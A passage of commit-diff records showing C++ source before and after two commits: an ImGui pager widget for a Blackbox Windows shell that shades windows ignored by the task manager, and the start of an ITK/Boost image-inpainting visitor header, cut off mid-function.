PagerWidget::UpdateTasks ()\n\t{\n\t\tm_tasks.clear();\n\n\t\tTasks & tasks = BlackBox::Instance().GetTasks();\n\t\ttasks.MkDataCopy(m_tasks);\n\t}\n\n\tvoid resizeWindowToContents (HWND hwnd, int x, int y, int maxx, int maxy, int rnd)\n\t{\n\t\tif (x > maxx && y > maxy)\n\t\t{\n\t\t\tRECT r;\n\t\t\tGetWindowRect(hwnd, &r);\n\t\t\tint Width = r.left = r.right;\n\t\t\tint Height = r.bottom - r.top;\n\n\t\t\tDWORD dwStyle = ::GetWindowLongPtr(hwnd, GWL_STYLE);\r\n\t\t\tDWORD dwExStyle = ::GetWindowLongPtr(hwnd, GWL_EXSTYLE);\r\n\r\n\t\t\tRECT rc = { 0, 0, x, y };\r\n\t\t\t\/\/::AdjustWindowRectEx(&rc, dwStyle, FALSE, dwExStyle);\r\n\r\n\t\t\tdestroyRoundedRect(hwnd);\n\t\t\t::SetWindowPos(hwnd, NULL, 0, 0, rc.right + 24, rc.bottom, SWP_NOZORDER | SWP_NOMOVE);\n\t\t\tcreateRoundedRect(hwnd, rc.right + 24, rc.bottom, rnd, rnd);\n\t\t}\n\t}\n\n\tvoid PagerWidget::DrawUI ()\n\t{\n\t\tImGui::SetNextWindowPos(ImVec2(0, 0), ImGuiSetCond_Always);\n\n\t\tImVec2 const & display = ImGui::GetIO().DisplaySize;\n\n\t\tif (m_contentSize.x > 0 && m_contentSize.y > 0)\n\t\t{\n\t\t\tImGuiStyle & style = ImGui::GetStyle();\n\t\t\tresizeWindowToContents(m_hwnd, m_contentSize.x, m_contentSize.y, style.WindowMinSize.x, style.WindowMinSize.y, style.WindowRounding);\n\t\t}\n\n\t\tchar name[256];\n\t\tcodecvt_utf16_utf8(GetNameW(), name, 256);\n\t\tImGui::Begin(name, &m_config.m_show, ImGuiWindowFlags_NoMove | ImGuiWindowFlags_NoResize | ImGuiWindowFlags_AlwaysAutoResize);\n\n\t\tWorkSpaces const & ws = BlackBox::Instance().GetWorkSpaces();\n\n\t\tUpdateTasks();\n\n\t\tbbstring const & cluster_id = ws.GetCurrentClusterId();\n\t\tif (WorkGraphConfig const * wg = ws.FindCluster(cluster_id))\n\t\t{\n\t\t\tchar curr_ws_u8[TaskInfo::e_wspaceLenMax];\n\t\t\tcodecvt_utf16_utf8(wg->m_currentVertexId, curr_ws_u8, TaskInfo::e_wspaceLenMax);\n\n\t\t\tImGui::Text(\"%s %s\", cluster_id.c_str(), curr_ws_u8);\n\n\t\t\tuint32_t const rows = wg->MaxRowCount();\n\t\t\tuint32_t const cols = wg->MaxColCount();\n\n\t\t\tif (cols && rows)\n\t\t\t{\n\t\t\t\tImGui::Columns(cols, \"mixed\", true);\n\t\t\t\tImGui::Separator();\n\n\t\t\t\tfor (uint32_t c = 0; c < cols; ++c)\n\t\t\t\t{\n\t\t\t\t\tfor (uint32_t r = 0; r < rows; ++r)\n\t\t\t\t\t{\n\t\t\t\t\t\tbbstring const & vertex_id = wg->m_vertexlists[r][c];\n\t\t\t\t\t\tchar idu8[TaskInfo::e_wspaceLenMax];\n\t\t\t\t\t\tcodecvt_utf16_utf8(vertex_id, idu8, TaskInfo::e_wspaceLenMax);\n\n\t\t\t\t\t\tif (ImGui::Button(idu8))\n\t\t\t\t\t\t{ \n\t\t\t\t\t\t\tBlackBox::Instance().WorkSpacesSetCurrentVertexId(vertex_id);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tint tmp = 0;\n\t\t\t\t\t\tfor (TaskInfo & t : m_tasks)\n\t\t\t\t\t\t{\n\t\/\/ \t\t\t\t\t\tif (t.m_config && t.m_config->m_bbtasks)\n\t\/\/ \t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t\tif (t.m_wspace == vertex_id)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif (tmp++ % 3 != 0)\n\t\t\t\t\t\t\t\t\tImGui::SameLine();\n\n\t\t\t\t\t\t\t\tTasks & tasks = BlackBox::Instance().GetTasks();\n\t\t\t\t\t\t\t\tIconId const icoid = t.m_icoSmall;\n\t\t\t\t\t\t\t\tif (!icoid.IsValid())\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\/\/ @TODO: assign color to hwnd?\n\t\t\t\t\t\t\t\t\tif (ImGui::ColorButton(ImColor(0, 0, 128, 255)))\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\ttasks.Focus(t.m_hwnd);\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tint framing = -1;\n\t\t\t\t\t\t\t\t\tImGui::PushID(t.m_hwnd);\n\t\t\t\t\t\t\t\t\tbool const clkd = ImGui::IconButton(icoid, ImColor(255, 255, 255, 255), ImColor(255, 255, 255, 128), framing);\n\t\t\t\t\t\t\t\t\tif (ImGui::BeginPopupContextItem(\"\"))\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\tbool is_sticky = t.m_config && t.m_config->m_sticky;\n\t\t\t\t\t\t\t\t\t\tif (ImGui::Selectable(is_sticky ? \"UnStick\" : \"Stick\"))\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\tif (is_sticky)\n\t\t\t\t\t\t\t\t\t\t\t\ttasks.UnsetSticky(t.m_hwnd);\n\t\t\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\t\t\ttasks.SetSticky(t.m_hwnd);\n\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\tbool skip_taskman = t.m_config && t.m_config->m_taskman == false;\n\t\t\t\t\t\t\t\t\t\tif (ImGui::Selectable(skip_taskman ? \"back to TaskMan\" : \"rm from TaskMan\"))\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\tif (skip_taskman)\n\t\t\t\t\t\t\t\t\t\t\t\ttasks.UnsetTaskManIgnored(t.m_hwnd);\n\t\t\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\t\t\ttasks.SetTaskManIgnored(t.m_hwnd);\n\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\tif (ImGui::Button(\"Close Menu\"))\n\t\t\t\t\t\t\t\t\t\t\tImGui::CloseCurrentPopup();\n\t\t\t\t\t\t\t\t\t\tImGui::EndPopup();\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\tif (clkd)\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\ttasks.Focus(t.m_hwnd);\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\tImGui::PopID();\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tImGui::NextColumn();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tImGuiWindow * w = ImGui::GetCurrentWindowRead();\n\t\tImVec2 const & sz1 = w->SizeContents;\n\t\tm_contentSize = sz1;\n\t\tImGui::End();\n \t}\n\n}\n\n<commit_msg>* pager: shade ignored windows<commit_after>#include \"PagerWidget.h\"\n#include <blackbox\/BlackBox.h>\n#include <blackbox\/gfx\/utils_imgui.h>\n#include <bblib\/codecvt.h>\n#include <imgui\/imgui_internal.h>\n#include <blackbox\/utils_window.h>\n\nnamespace bb {\n\n\tPagerWidget::PagerWidget (WidgetConfig & cfg)\n\t\t: GuiWidget(cfg)\n\t{\n\t\tm_tasks.reserve(64);\n\t}\n\n\tvoid PagerWidget::UpdateTasks ()\n\t{\n\t\tm_tasks.clear();\n\n\t\tTasks & tasks = BlackBox::Instance().GetTasks();\n\t\ttasks.MkDataCopy(m_tasks);\n\t}\n\n\tvoid resizeWindowToContents (HWND hwnd, int x, int y, int maxx, int maxy, int rnd)\n\t{\n\t\tif (x > maxx && y > maxy)\n\t\t{\n\t\t\tRECT r;\n\t\t\tGetWindowRect(hwnd, &r);\n\t\t\tint Width = r.left = r.right;\n\t\t\tint Height = r.bottom - r.top;\n\n\t\t\tDWORD dwStyle = ::GetWindowLongPtr(hwnd, GWL_STYLE);\r\n\t\t\tDWORD dwExStyle = ::GetWindowLongPtr(hwnd, GWL_EXSTYLE);\r\n\r\n\t\t\tRECT rc = { 0, 0, x, y };\r\n\t\t\t\/\/::AdjustWindowRectEx(&rc, dwStyle, FALSE, dwExStyle);\r\n\r\n\t\t\tdestroyRoundedRect(hwnd);\n\t\t\t::SetWindowPos(hwnd, NULL, 0, 0, rc.right + 24, rc.bottom, SWP_NOZORDER | SWP_NOMOVE);\n\t\t\tcreateRoundedRect(hwnd, rc.right + 24, rc.bottom, rnd, rnd);\n\t\t}\n\t}\n\n\tvoid PagerWidget::DrawUI ()\n\t{\n\t\tImGui::SetNextWindowPos(ImVec2(0, 0), ImGuiSetCond_Always);\n\n\t\tImVec2 const & display = ImGui::GetIO().DisplaySize;\n\n\t\tif (m_contentSize.x > 0 && m_contentSize.y > 0)\n\t\t{\n\t\t\tImGuiStyle & style = ImGui::GetStyle();\n\t\t\tresizeWindowToContents(m_hwnd, m_contentSize.x, m_contentSize.y, style.WindowMinSize.x, style.WindowMinSize.y, style.WindowRounding);\n\t\t}\n\n\t\tchar name[256];\n\t\tcodecvt_utf16_utf8(GetNameW(), name, 256);\n\t\tImGui::Begin(name, &m_config.m_show, ImGuiWindowFlags_NoMove | ImGuiWindowFlags_NoResize | ImGuiWindowFlags_AlwaysAutoResize);\n\n\t\tWorkSpaces const & ws = BlackBox::Instance().GetWorkSpaces();\n\n\t\tUpdateTasks();\n\n\t\tbbstring const & cluster_id = ws.GetCurrentClusterId();\n\t\tif (WorkGraphConfig const * wg = ws.FindCluster(cluster_id))\n\t\t{\n\t\t\tchar curr_ws_u8[TaskInfo::e_wspaceLenMax];\n\t\t\tcodecvt_utf16_utf8(wg->m_currentVertexId, curr_ws_u8, TaskInfo::e_wspaceLenMax);\n\n\t\t\tImGui::Text(\"%s %s\", cluster_id.c_str(), curr_ws_u8);\n\n\t\t\tuint32_t const rows = wg->MaxRowCount();\n\t\t\tuint32_t const cols = wg->MaxColCount();\n\n\t\t\tif (cols && rows)\n\t\t\t{\n\t\t\t\tImGui::Columns(cols, \"mixed\", true);\n\t\t\t\tImGui::Separator();\n\n\t\t\t\tfor (uint32_t c = 0; c < cols; ++c)\n\t\t\t\t{\n\t\t\t\t\tfor (uint32_t r = 0; r < rows; ++r)\n\t\t\t\t\t{\n\t\t\t\t\t\tbbstring const & vertex_id = wg->m_vertexlists[r][c];\n\t\t\t\t\t\tchar idu8[TaskInfo::e_wspaceLenMax];\n\t\t\t\t\t\tcodecvt_utf16_utf8(vertex_id, idu8, TaskInfo::e_wspaceLenMax);\n\n\t\t\t\t\t\tif (ImGui::Button(idu8))\n\t\t\t\t\t\t{ \n\t\t\t\t\t\t\tBlackBox::Instance().WorkSpacesSetCurrentVertexId(vertex_id);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tint tmp = 0;\n\t\t\t\t\t\tfor (TaskInfo & t : m_tasks)\n\t\t\t\t\t\t{\n\t\/\/ \t\t\t\t\t\tif (t.m_config && t.m_config->m_bbtasks)\n\t\/\/ \t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t\tif (t.m_wspace == vertex_id)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif (tmp++ % 3 != 0)\n\t\t\t\t\t\t\t\t\tImGui::SameLine();\n\n\t\t\t\t\t\t\t\tTasks & tasks = BlackBox::Instance().GetTasks();\n\t\t\t\t\t\t\t\tIconId const icoid = t.m_icoSmall;\n\t\t\t\t\t\t\t\tif (!icoid.IsValid())\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\/\/ @TODO: assign color to hwnd?\n\t\t\t\t\t\t\t\t\tif (ImGui::ColorButton(ImColor(0, 0, 128, 255)))\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\ttasks.Focus(t.m_hwnd);\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tint framing = -1;\n\t\t\t\t\t\t\t\t\tImGui::PushID(t.m_hwnd);\n\t\t\t\t\t\t\t\t\tbool const skip_taskman = t.IsTaskManIgnored();\n\t\t\t\t\t\t\t\t\tbool const is_sticky = t.IsSticky();\n\t\t\t\t\t\t\t\t\tImColor const col_int = ImColor(0, 0, 0, 0);\n\t\t\t\t\t\t\t\t\tImColor const col_border = ImColor(255, 255, 255, 255);\n\t\t\t\t\t\t\t\t\tImColor const col_int_skip_taskman = ImColor(0, 0, 0, 128);\n\t\t\t\t\t\t\t\t\tImColor const col_border_skip = ImColor(0, 0, 0, 128);\n\t\t\t\t\t\t\t\t\tbool const clkd = ImGui::IconButton(icoid, skip_taskman ? col_int_skip_taskman : col_int, skip_taskman ? col_border_skip : col_border, framing);\n\t\t\t\t\t\t\t\t\tif (ImGui::BeginPopupContextItem(\"\"))\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\tif (ImGui::Selectable(is_sticky ? \"UnStick\" : \"Stick\"))\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\tif (is_sticky)\n\t\t\t\t\t\t\t\t\t\t\t\ttasks.UnsetSticky(t.m_hwnd);\n\t\t\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\t\t\ttasks.SetSticky(t.m_hwnd);\n\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\tif (ImGui::Selectable(skip_taskman ? \"back to TaskMan\" : \"rm from TaskMan\"))\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\tif (skip_taskman)\n\t\t\t\t\t\t\t\t\t\t\t\ttasks.UnsetTaskManIgnored(t.m_hwnd);\n\t\t\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\t\t\ttasks.SetTaskManIgnored(t.m_hwnd);\n\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\tif (ImGui::Button(\"Close Menu\"))\n\t\t\t\t\t\t\t\t\t\t\tImGui::CloseCurrentPopup();\n\t\t\t\t\t\t\t\t\t\tImGui::EndPopup();\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\tif (clkd)\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\ttasks.Focus(t.m_hwnd);\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\tImGui::PopID();\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tImGui::NextColumn();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tImGuiWindow * w = ImGui::GetCurrentWindowRead();\n\t\tImVec2 const & sz1 = w->SizeContents;\n\t\tm_contentSize = sz1;\n\t\tImGui::End();\n \t}\n\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/*=========================================================================\n *\n * Copyright David Doria 2012 daviddoria@gmail.com\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0.txt\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *=========================================================================*\/\n\n#ifndef InpaintingVisitor_HPP\n#define InpaintingVisitor_HPP\n\n#include \"Visitors\/InpaintingVisitorParent.h\"\n\n\/\/ Concepts\n#include \"Concepts\/DescriptorVisitorConcept.hpp\"\n\n\/\/ Accept criteria\n#include \"ImageProcessing\/BoundaryEnergy.h\"\n\n\/\/ Boost\n#include <boost\/graph\/graph_traits.hpp>\n#include <boost\/property_map\/property_map.hpp>\n\n\/\/ Helpers\n#include \"ITKHelpers\/ITKHelpers.h\"\n#include \"BoostHelpers\/BoostHelpers.h\"\n\n\/\/ Submodules\n#include <ITKVTKHelpers\/ITKVTKHelpers.h>\n\n\/**\n * This is a visitor that complies with the InpaintingVisitorConcept. It forwards\n * initialize_vertex and discover_vertex, the only two functions that need to know about\n * the descriptor type, to a visitor that models DescriptorVisitorConcept.\n * The visitor needs to know the patch size of the patch to be inpainted because it uses\n * this size to traverse the inpainted region to update the boundary.\n *\/\ntemplate <typename TGraph, typename TImage, typename TBoundaryNodeQueue,\n typename TDescriptorVisitor, typename TAcceptanceVisitor, typename TPriority,\n typename TPriorityMap, typename TBoundaryStatusMap>\nclass InpaintingVisitor : public InpaintingVisitorParent<TGraph>\n{\n BOOST_CONCEPT_ASSERT((DescriptorVisitorConcept<TDescriptorVisitor, TGraph>));\n\n typedef typename boost::graph_traits<TGraph>::vertex_descriptor VertexDescriptorType;\n\n \/** The image to inpaint. *\/\n TImage* Image;\n\n \/** The mask indicating the region to inpaint. *\/\n Mask* MaskImage;\n\n \/** A queue to use to determine which patch to inpaint next. *\/\n TBoundaryNodeQueue& BoundaryNodeQueue;\n\n \/** A function to determine the priority of each target patch. *\/\n TPriority* PriorityFunction;\n\n \/** A visitor to do patch descriptor specific operations. *\/\n TDescriptorVisitor& DescriptorVisitor;\n\n \/** A visitor to perform specified actions when a match is accepted. *\/\n TAcceptanceVisitor& AcceptanceVisitor;\n\n \/** A map indicating the priority of each pixel. *\/\n TPriorityMap& PriorityMap;\n\n \/** A map indicating if each pixel is on the boundary or not. *\/\n TBoundaryStatusMap& BoundaryStatusMap;\n\n \/** The radius of the patches to use to inpaint the image. *\/\n const unsigned int PatchHalfWidth;\n\n \/** The name of the file to output the inpainted image. *\/\n std::string ResultFileName;\n\n \/** How many patches have been finished so far. *\/\n unsigned int NumberOfFinishedPatches;\n\n \/** As the image is inpainted, this flag determines if new source patches can be created from patches which are now valid. *\/\n bool AllowNewPatches;\n\n \/\/ Debug only\n \/** A flag that determines if debug images should be written at each iteration. *\/\n bool DebugImages;\n\npublic:\n\n void SetDebugImages(const bool debugImages)\n {\n this->DebugImages = debugImages;\n }\n\n \/** Constructor. Everything must be specified in this constructor. (There is no default constructor). *\/\n InpaintingVisitor(TImage* const image, Mask* const mask,\n TBoundaryNodeQueue& boundaryNodeQueue,\n TDescriptorVisitor& descriptorVisitor, TAcceptanceVisitor& acceptanceVisitor,\n TPriorityMap& priorityMap, TPriority* const priorityFunction,\n const unsigned int patchHalfWidth, TBoundaryStatusMap& boundaryStatusMap,\n const std::string& resultFileName,\n const std::string& visitorName = \"InpaintingVisitor\") :\n InpaintingVisitorParent<TGraph>(visitorName),\n Image(image), MaskImage(mask), BoundaryNodeQueue(boundaryNodeQueue), PriorityFunction(priorityFunction),\n DescriptorVisitor(descriptorVisitor), AcceptanceVisitor(acceptanceVisitor),\n PriorityMap(priorityMap), BoundaryStatusMap(boundaryStatusMap),\n PatchHalfWidth(patchHalfWidth), ResultFileName(resultFileName), NumberOfFinishedPatches(0), AllowNewPatches(false), DebugImages(false)\n {\n }\n\n void InitializeVertex(VertexDescriptorType v) const\n {\n this->DescriptorVisitor.InitializeVertex(v);\n }\n\n void DiscoverVertex(VertexDescriptorType v) const\n {\n this->DescriptorVisitor.DiscoverVertex(v);\n }\n\n void PotentialMatchMade(VertexDescriptorType target, VertexDescriptorType source)\n {\n std::cout << \"InpaintingVisitor::PotentialMatchMade: target \" << target[0] << \" \" << target[1]\n << \" source: \" << source[0] << \" \" << source[1] << std::endl;\n\n if(!this->MaskImage->IsValid(ITKHelpers::CreateIndex(source)))\n {\n std::stringstream ss;\n ss << \"InpaintingVisitor::PotentialMatchMade: Potential source pixel \" << source[0] << \" \" << source[1] << \" is not valid in the mask!\";\n throw std::runtime_error(ss.str());\n }\n\n \/\/if(!this->MaskImage->HasHoleNeighborInRegion(ITKHelpers::CreateIndex(target), this->MaskImage->GetLargestPossibleRegion()))\n if(!this->MaskImage->HasHoleNeighbor(ITKHelpers::CreateIndex(target)))\n {\n std::stringstream ss;\n ss << \"InpaintingVisitor::PotentialMatchMade: Potential target pixel \" << target[0] << \" \" << target[1]\n << \" does not have a hole neighbor (which means it is not on the boundary)!\";\n throw std::runtime_error(ss.str());\n }\n }\n\n bool AcceptMatch(VertexDescriptorType target, VertexDescriptorType source) const\n {\n float energy = 0.0f;\n return AcceptanceVisitor.AcceptMatch(target, source, energy);\n }\n\n void FinishVertex(VertexDescriptorType targetNode, VertexDescriptorType sourceNode)\/\/ __attribute__((optimize(0)))\n {\n \/\/ Mark this pixel and the area around it as filled, and mark the mask in this region as filled.\n \/\/ Determine the new boundary, and setup the nodes in the boundary queue.\n\n std::cout << \"InpaintingVisitor::FinishVertex()\" << std::endl;\n\n \/\/ Construct the region around the vertex\n itk::Index<2> indexToFinish = ITKHelpers::CreateIndex(targetNode);\n\n itk::ImageRegion<2> regionToFinish = ITKHelpers::GetRegionInRadiusAroundPixel(indexToFinish, PatchHalfWidth);\n\n regionToFinish.Crop(this->Image->GetLargestPossibleRegion()); \/\/ Make sure the region is entirely inside the image\n \/\/ (because we allow target patches to not be entirely inside the image to handle the case where\n \/\/ the hole boundary is near the image boundary)\n\n \/\/ Update the priority function. This must be done BEFORE the mask is filled,\n \/\/ as the old mask is required in some of the Priority functors to determine where to update some things.\n this->PriorityFunction->Update(sourceNode, targetNode, this->NumberOfFinishedPatches);\n\n \/\/ Mark all the pixels in this region as filled in the mask.\n ITKHelpers::SetRegionToConstant(this->MaskImage, regionToFinish, this->MaskImage->GetValidValue());\n\n \/\/ Initialize all vertices in the newly filled region because they may now be valid source nodes.\n \/\/ (You may not want to do this in some cases (i.e. if the descriptors needed cannot be\n \/\/ computed on newly filled regions))\n\n if(this->AllowNewPatches)\n {\n itk::ImageRegionConstIteratorWithIndex<TImage> gridIterator(Image, regionToFinish);\n while(!gridIterator.IsAtEnd())\n {\n VertexDescriptorType v = Helpers::ConvertFrom<VertexDescriptorType, itk::Index<2> >(gridIterator.GetIndex());\n\n InitializeVertex(v);\n ++gridIterator;\n }\n }\n\n \/\/ Add pixels that are on the new boundary to the queue, and mark other pixels as not in the queue.\n itk::ImageRegionConstIteratorWithIndex<Mask> imageIterator(this->MaskImage, regionToFinish);\n\n while(!imageIterator.IsAtEnd())\n {\n VertexDescriptorType v = Helpers::ConvertFrom<VertexDescriptorType, itk::Index<2> >(imageIterator.GetIndex());\n\n \/\/ This makes them ignored if they are still in the boundaryNodeQueue.\n \/\/if(this->MaskImage->HasHoleNeighborInRegion(imageIterator.GetIndex(), this->MaskImage->GetLargestPossibleRegion()))\n if(this->MaskImage->HasHoleNeighbor(imageIterator.GetIndex()))\n {\n \/\/ Note: must set the value in the priority map before pushing the node\n \/\/ into the queue (as the priority is what\n \/\/ determines the node's position in the queue).\n float priority = this->PriorityFunction->ComputePriority(imageIterator.GetIndex());\n \/\/std::cout << \"updated priority: \" << priority << std::endl;\n put(this->PriorityMap, v, priority);\n\n put(this->BoundaryStatusMap, v, true);\n this->BoundaryNodeQueue.push(v);\n }\n else\n {\n put(this->BoundaryStatusMap, v, false);\n }\n\n ++imageIterator;\n }\n\n \/\/ std::cout << \"FinishVertex after traversing finishing region there are \"\n \/\/ << BoostHelpers::CountValidQueueNodes(BoundaryNodeQueue, BoundaryStatusMap)\n \/\/ << \" valid nodes in the queue.\" << std::endl;\n \n \/\/ Sometimes pixels that are not in the finishing region that were boundary pixels are no longer\n \/\/ boundary pixels after the filling. Check for these.\n\n \/\/ Expand the region\n itk::ImageRegion<2> expandedRegion = ITKHelpers::GetRegionInRadiusAroundPixel(indexToFinish, PatchHalfWidth + 1);\n expandedRegion.Crop(this->Image->GetLargestPossibleRegion()); \/\/ Make sure the region is entirely inside the image (to allow for target regions near the image boundary)\n std::vector<itk::Index<2> > boundaryPixels = ITKHelpers::GetBoundaryPixels(expandedRegion);\n for(unsigned int i = 0; i < boundaryPixels.size(); ++i)\n {\n if(!this->MaskImage->HasHoleNeighbor(boundaryPixels[i])) \/\/ the region (the entire image) can be omitted, as this function automatically checks if the pixels are inside the image\n {\n VertexDescriptorType v = Helpers::ConvertFrom<VertexDescriptorType, itk::Index<2> >(boundaryPixels[i]);\n put(this->BoundaryStatusMap, v, false);\n }\n }\n\n \/\/ std::cout << \"FinishVertex after removing stale nodes outside finishing region there are \"\n \/\/ << BoostHelpers::CountValidQueueNodes(BoundaryNodeQueue, BoundaryStatusMap)\n \/\/ << \" valid nodes in the queue.\" << std::endl;\n\n this->NumberOfFinishedPatches++;\n\n std::cout << \"Leave InpaintingVisitor::FinishVertex()\" << std::endl;\n } \/\/ end FinishVertex\n\n void InpaintingComplete() const\n {\n std::cout << \"Inpainting complete!\" << std::endl;\n \/\/ We prefer to write the final image in the calling function, as there we will know what type it is (i.e. do we need to convert back to RGB? etc.)\n }\n\n}; \/\/ end InpaintingVisitor\n\n#endif\n<commit_msg>Add an ASCII example of how a boundary pixel can get stranded.<commit_after>\/*=========================================================================\n *\n * Copyright David Doria 2012 daviddoria@gmail.com\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0.txt\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *=========================================================================*\/\n\n#ifndef InpaintingVisitor_HPP\n#define InpaintingVisitor_HPP\n\n#include \"Visitors\/InpaintingVisitorParent.h\"\n\n\/\/ Concepts\n#include \"Concepts\/DescriptorVisitorConcept.hpp\"\n\n\/\/ Accept criteria\n#include \"ImageProcessing\/BoundaryEnergy.h\"\n\n\/\/ Boost\n#include <boost\/graph\/graph_traits.hpp>\n#include <boost\/property_map\/property_map.hpp>\n\n\/\/ Helpers\n#include \"ITKHelpers\/ITKHelpers.h\"\n#include \"BoostHelpers\/BoostHelpers.h\"\n\n\/\/ Submodules\n#include <ITKVTKHelpers\/ITKVTKHelpers.h>\n\n\/**\n * This is a visitor that complies with the InpaintingVisitorConcept. It forwards\n * initialize_vertex and discover_vertex, the only two functions that need to know about\n * the descriptor type, to a visitor that models DescriptorVisitorConcept.\n * The visitor needs to know the patch size of the patch to be inpainted because it uses\n * this size to traverse the inpainted region to update the boundary.\n *\/\ntemplate <typename TGraph, typename TImage, typename TBoundaryNodeQueue,\n typename TDescriptorVisitor, typename TAcceptanceVisitor, typename TPriority,\n typename TPriorityMap, typename TBoundaryStatusMap>\nclass InpaintingVisitor : public InpaintingVisitorParent<TGraph>\n{\n BOOST_CONCEPT_ASSERT((DescriptorVisitorConcept<TDescriptorVisitor, TGraph>));\n\n typedef typename boost::graph_traits<TGraph>::vertex_descriptor VertexDescriptorType;\n\n \/** The image to inpaint. *\/\n TImage* Image;\n\n \/** The mask indicating the region to inpaint. *\/\n Mask* MaskImage;\n\n \/** A queue to use to determine which patch to inpaint next. *\/\n TBoundaryNodeQueue& BoundaryNodeQueue;\n\n \/** A function to determine the priority of each target patch. *\/\n TPriority* PriorityFunction;\n\n \/** A visitor to do patch descriptor specific operations. *\/\n TDescriptorVisitor& DescriptorVisitor;\n\n \/** A visitor to perform specified actions when a match is accepted. *\/\n TAcceptanceVisitor& AcceptanceVisitor;\n\n \/** A map indicating the priority of each pixel. *\/\n TPriorityMap& PriorityMap;\n\n \/** A map indicating if each pixel is on the boundary or not. *\/\n TBoundaryStatusMap& BoundaryStatusMap;\n\n \/** The radius of the patches to use to inpaint the image. *\/\n const unsigned int PatchHalfWidth;\n\n \/** The name of the file to output the inpainted image. *\/\n std::string ResultFileName;\n\n \/** How many patches have been finished so far. *\/\n unsigned int NumberOfFinishedPatches;\n\n \/** As the image is inpainted, this flag determines if new source patches can be created from patches which are now valid. *\/\n bool AllowNewPatches;\n\n \/\/ Debug only\n \/** A flag that determines if debug images should be written at each iteration. *\/\n bool DebugImages;\n\npublic:\n\n void SetDebugImages(const bool debugImages)\n {\n this->DebugImages = debugImages;\n }\n\n \/** Constructor. Everything must be specified in this constructor. (There is no default constructor). *\/\n InpaintingVisitor(TImage* const image, Mask* const mask,\n TBoundaryNodeQueue& boundaryNodeQueue,\n TDescriptorVisitor& descriptorVisitor, TAcceptanceVisitor& acceptanceVisitor,\n TPriorityMap& priorityMap, TPriority* const priorityFunction,\n const unsigned int patchHalfWidth, TBoundaryStatusMap& boundaryStatusMap,\n const std::string& resultFileName,\n const std::string& visitorName = \"InpaintingVisitor\") :\n InpaintingVisitorParent<TGraph>(visitorName),\n Image(image), MaskImage(mask), BoundaryNodeQueue(boundaryNodeQueue), PriorityFunction(priorityFunction),\n DescriptorVisitor(descriptorVisitor), AcceptanceVisitor(acceptanceVisitor),\n PriorityMap(priorityMap), BoundaryStatusMap(boundaryStatusMap),\n PatchHalfWidth(patchHalfWidth), ResultFileName(resultFileName), NumberOfFinishedPatches(0), AllowNewPatches(false), DebugImages(false)\n {\n }\n\n void InitializeVertex(VertexDescriptorType v) const\n {\n this->DescriptorVisitor.InitializeVertex(v);\n }\n\n void DiscoverVertex(VertexDescriptorType v) const\n {\n this->DescriptorVisitor.DiscoverVertex(v);\n }\n\n void PotentialMatchMade(VertexDescriptorType target, 